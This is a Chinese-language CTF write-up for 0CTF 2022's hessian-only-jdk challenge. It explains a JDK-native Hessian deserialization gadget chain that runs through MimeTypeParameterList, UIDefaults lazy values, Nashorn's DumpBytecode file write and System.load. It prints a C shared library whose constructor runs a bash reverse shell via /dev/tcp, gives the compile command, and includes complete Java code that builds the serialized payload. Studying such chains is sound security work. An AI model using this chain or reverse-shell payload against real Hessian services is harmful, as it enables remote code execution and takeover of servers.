0ctf2022 hessian-only-jdk writeup jdk原生链
字数 1078 2025-08-26 22:11:35
Hessian反序列化漏洞利用:JDK原生链分析与实战
1. 背景与环境
- 环境:Hessian 4.0.38 + JDK8u342
- 特点:Hessian反序列化不需要类实现Serializable接口,只需设置
SerializerFactory.setAllowNonSerializable(true) - 参考:XStream历史漏洞链可作为参考,特别是CVE-2021-21346
2. 漏洞利用链分析
2.1 原始XStream链分析
原始XStream利用链:
Rdn$RdnEntry#compareTo
→ XString#equal
→ MultiUIDefaults#toString
→ UIDefaults#get
→ UIDefaults#getFromHashTable
→ UIDefaults$LazyValue#createValue
→ SwingLazyValue#createValue
→ InitialContext#doLookup()
问题:MultiUIDefaults在Hessian反序列化时会抛出IllegalAccessException
2.2 替代类寻找
寻找替代MultiUIDefaults的类,需要满足:
- 继承
Hashtable - 有
toString()方法调用Hashtable.get()
找到的替代类:java.awt.datatransfer.MimeTypeParameterList
关键代码:
public String toString() {
Enumeration<String> keys = parameters.keys();
while(keys.hasMoreElements()) {
buffer.append("; ");
String key = keys.nextElement();
buffer.append(quote(parameters.get(key)));
// ...
}
}
2.3 Hessian触发点
触发点在Hessian2Input.expect方法:
protected IOException expect(String expect, int ch) throws IOException {
try {
Object obj = this.readObject();
return obj != null ?
this.error("expected " + expect + " at 0x" +
Integer.toHexString(ch & 255) + " " +
obj.getClass().getName() + " " + obj + " " + context + "")
: this.error(...);
}
// ...
}
触发路径:
Hessian2Input.readObject case67
→ readObjectDefinition((Class)null)
→ throw expect("string", tag)
→ expect()
3. 利用链构建
3.1 利用SwingLazyValue和ProxyLazyValue
SwingLazyValue.createValue可以获取并调用public static方法:
public Object createValue(UIDefaults table) {
// ...
Class<?> c = Class.forName(className, true, (ClassLoader)cl);
Method m = c.getMethod(methodName, types);
return MethodUtil.invoke(m, c, args);
}
限制:只能加载rt.jar中的类
3.2 ProxyLazyValue的优势
ProxyLazyValue.createValue可以获取ClassLoader:
public Object createValue(final UIDefaults table) {
// ...
if (table == null || !((cl = table.get("ClassLoader")) instanceof ClassLoader)) {
cl = Thread.currentThread().getContextClassLoader();
if (cl == null) {
cl = ClassLoader.getSystemClassLoader();
}
}
c = Class.forName(className, true, (ClassLoader)cl);
// ...
}
注意:需要将acc字段通过反射设置为null以避免反序列化错误
4. 文件写入与执行
4.1 文件写入方法
原计划使用JavaUtils.writeBytesToFilename但被ban,改用:
jdk.nashorn.internal.codegen.DumpBytecode.dumpBytecode
4.2 动态链接库攻击
- 创建恶意.so文件:
#include <stdlib.h>
#include <stdio.h>
void __attribute__ ((__constructor__)) aasdnqwgasdela1 () {
system("echo '/bin/bash -i >& /dev/tcp/xxxxxxxx/9998 0>&1' > /tmp/1");
system("/bin/bash /tmp/1");
}
编译命令:
gcc -c a.c -o a && gcc a --share -o a.so
- 利用代码:
SerializerFactory sf = new SerializerFactory();
sf.setAllowNonSerializable(true);
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
Hessian2Output out = new Hessian2Output(byteArrayOutputStream);
out.setSerializerFactory(sf);
Unsafe unsafe = getUnsafe();
Object script = unsafe.allocateInstance(ScriptEnvironment.class);
setFieldValue(script,"_dest_dir","/tmp/");
Object debug=unsafe.allocateInstance(DebugLogger.class);
byte[] code=Files.readAllBytes(Paths.get("a.so"));
String classname="asdxxxxxxx";
UIDefaults.ProxyLazyValue proxyLazyValue = new UIDefaults.ProxyLazyValue(
"jdk.nashorn.internal.codegen.DumpBytecode",
"dumpBytecode",
new Object[]{ script, debug, code, classname }
);
setFieldValue(proxyLazyValue,"acc",null);
UIDefaults uiDefaults = new UIDefaults();
uiDefaults.put("q", proxyLazyValue);
Class clazz = Class.forName("java.awt.datatransfer.MimeTypeParameterList");
Object mimeTypeParameterList = unsafe.allocateInstance(clazz);
setFieldValue(mimeTypeParameterList, "parameters", uiDefaults);
out.writeString("aaaxxxx");
out.writeObject(mimeTypeParameterList);
out.flushBuffer();
byte[] bytes = byteArrayOutputStream.toByteArray();
Files.write(Paths.get("ser"),bytes);
- 加载执行:
SwingLazyValue swingLazyValue = new SwingLazyValue(
"java.lang.System",
"load",
new Object[]{ "/tmp/asdxxxxxxx.class" }
);
5. 完整调用栈
dumpBytecode:94, DumpBytecode (jdk.nashorn.internal.codegen)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect) [2]
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
invoke:71, Trampoline (sun.reflect.misc)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect) [1]
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
invoke:275, MethodUtil (sun.reflect.misc)
run:1108, UIDefaults$ProxyLazyValue$1 (javax.swing)
doPrivileged:-1, AccessController (java.security)
createValue:1087, UIDefaults$ProxyLazyValue (javax.swing)
getFromHashtable:216, UIDefaults (javax.swing)
get:161, UIDefaults (javax.swing)
toString:290, MimeTypeParameterList (java.awt.datatransfer)
valueOf:2994, String (java.lang)
append:131, StringBuilder (java.lang)
expect:2880, Hessian2Input (com.caucho.hessian.io)
readString:1398, Hessian2Input (com.caucho.hessian.io)
readObjectDefinition:2180, Hessian2Input (com.caucho.hessian.io)
readObject:2122, Hessian2Input (com.caucho.hessian.io)
handle:43, Index$MyHandler (com.caucho.hessian.io)
doFilter:79, Filter$Chain (com.sun.net.httpserver)
doFilter:83, AuthFilter (sun.net.httpserver)
doFilter:82, Filter$Chain (com.sun.net.httpserver)
handle:675, ServerImpl$Exchange$LinkHandler (sun.net.httpserver)
doFilter:79, Filter$Chain (com.sun.net.httpserver)
run:647, ServerImpl$Exchange (sun.net.httpserver)
runWorker:1149, ThreadPoolExecutor (java.util.concurrent)
run:624, ThreadPoolExecutor$Worker (java.util.concurrent)
run:748, Thread (java.lang)
6. 关键点总结
- Hessian反序列化不需要Serializable接口
- 使用
MimeTypeParameterList替代MultiUIDefaults - 通过
ProxyLazyValue绕过ClassLoader限制 - 使用
DumpBytecode.dumpBytecode写入文件 - 通过
System.load加载恶意动态链接库 - 注意
acc字段需要设置为null